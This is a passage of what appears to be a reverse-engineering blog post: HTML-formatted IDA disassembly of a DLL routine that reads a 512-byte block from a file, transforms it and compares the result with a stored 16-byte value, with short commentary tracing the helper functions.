</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042A8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">80000000h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwDesiredAccess
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042AD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpFileName
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042AE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042B1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042B4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">CreateFileA
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042BA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebx, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042BC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp ebx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042BF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042C2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_100042D5
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042C4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_20</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042C7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_100069F0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042CC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042CD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_20</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D5 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D5
.text:100042D5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100042D5: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004270+52j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea edx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">NumberOfBytesRead</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpOverlapped
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042D9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpNumberOfBytesRead
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042DA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">Buffer</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042E0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">200h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; nNumberOfBytesToRead
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042E5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpBuffer
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042E6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hFile
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042E7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">ReadFile
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042ED </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">NumberOfBytesRead</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">200h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042F4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_10004307
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042F6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042F9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_100069F0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042FE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042FF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004302 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004307 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004307
.text:10004307 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004307: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004270+84j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004307 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea edx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_128</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000430D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">Buffer</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004313 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004314 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004316 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_10006840
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000431B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004320 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004321 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10004650
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004326 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esi, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004329 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">14h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000432C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_128</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004332 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea edx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_228</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004338 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004339 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000433E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000433F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004344 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004345 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10004650
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000434A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">14h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000434D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004352 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, offset unk_10006840
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004357 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004359 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">repe cmpsd
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000435B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_100043A4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000435D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_1C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004360 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_100069F0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004365 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004366 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_1C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">2
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000436D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004372 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004372
.text:10004372 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004372: </span><span style="color: #8080ff; font-family: 'Liberation Mono'; white-space: pre;">; DATA XREF: .rdata:stru_10006E88o
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004372 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">dwErrCode</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004375 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000437C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwErrCode
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000437D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">SetLastError
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004383 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, offset loc_100043A1
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004388 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004389 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004389
.text:10004389 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004389: </span><span style="color: #8080ff; font-family: 'Liberation Mono'; white-space: pre;">; DATA XREF: .rdata:stru_10006E88o
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004389 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFh </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwErrCode
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000438E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004395 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">SetLastError
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000439B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, offset loc_100043A1
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A1 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A1
.text:100043A1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100043A1: </span><span style="color: #8080ff; font-family: 'Liberation Mono'; white-space: pre;">; DATA XREF: sub_10004270+113o
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A1 </span><span style="color: #8080ff; font-family: 'Liberation Mono'; white-space: pre;">; sub_10004270+12Bo
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A4
.text:100043A4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100043A4: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004270+EBj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp ebx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_100043B0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043A9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hObject
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043AA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">CloseHandle
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B0
.text:100043B0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100043B0: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004270+137j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043B8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov large fs:</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043BF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043C0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esp, ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043C2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043C3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043C3 </span><span style="background: blue; color: blue; font-family: 'Liberation Mono'; white-space: pre;"><span style="color: navy;">sub_10004270 endp</span></span><span style="background: blue; color: blue; font-family: 'Liberation Mono'; white-space: pre;"> <span style="color: navy;">; sp-analysis failed</span></span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100043C3
.text:100043C3 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span></div>
<div>
<span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;"><br /></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;"><br /></span></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;">sub_10004270 is interesting, it actually opens the file and reads a 512 byte block, then a function is used multiple times on the data read from the file: </span></span><span style="white-space: pre;">sub_10004650</span></div>
<div>
<span style="white-space: pre;"><br /></span></div>
<div>
<span style="white-space: pre;">sub_10004650 is just a wrapper around sub_10004680 , and it does only dereference some char ** to char* , so let's checkout </span><span style="white-space: pre;">sub_10004680 </span></div>
<div>
<span style="white-space: pre;"><br /></span></div>
<div>
<span style="white-space: pre;"><br /></span></div>
<div>
<span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680
.text:10004680 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; =============== S U B R O U T I N E =======================================
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680
.text:10004680
.text:10004680 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int __cdecl sub_10004680(char *, int, char *, int, char *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_10004680 proc near </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004650+19p
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680
.text:10004680 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">0Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_10 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">14h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004680
.text:10004680 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004681 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004682 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebp, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">8</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004686 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004687 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test ebp, ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004689 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz loc_10004750
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000468F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0Ch</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_8</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004693 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test ebx, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004695 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz loc_10004750
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000469B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0Ch</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_10</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000469F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test edi, edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046A1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz loc_10004750
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046A7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046A8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; unsigned int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046AD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??2@YAPAXI@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator new(uint)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046B2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esi, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046B4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">14h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046B8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
